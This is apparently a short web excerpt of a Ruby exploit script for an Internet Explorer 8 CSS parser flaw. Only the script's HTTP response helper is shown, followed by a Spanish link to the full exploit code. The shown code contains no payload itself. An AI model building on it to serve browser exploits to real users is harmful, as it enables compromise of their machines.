Internet Explorer 8 CSS Parser Exploit

#!/usr/bin/env ruby

# Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/
# Author: Nephi Johnson (d0c_s4vage)


require 'socket'

def http_send(sock, data, opts={})
defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}
opts = defaults.merge(opts)

code = opts[:code]
message = opts[:message]
type = opts[:type]

to_send = "HTTP/1.1 #{code} #{message}\r\n" +
"Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" +
"Cache-Control: no-cache\r\n" +
"Content-Type: #{type}\r\n" +
"Pragma: no-cache\r\n" +
"Content-Length: #{data.length}\r\n\r\n" +
"#{data}"
puts "[+] Sending:"
to_send.split("\n").each do |line|
puts " #{line}"
end
sock.write(to_send) rescue return false
return true
end

... Ver el código completo del exploit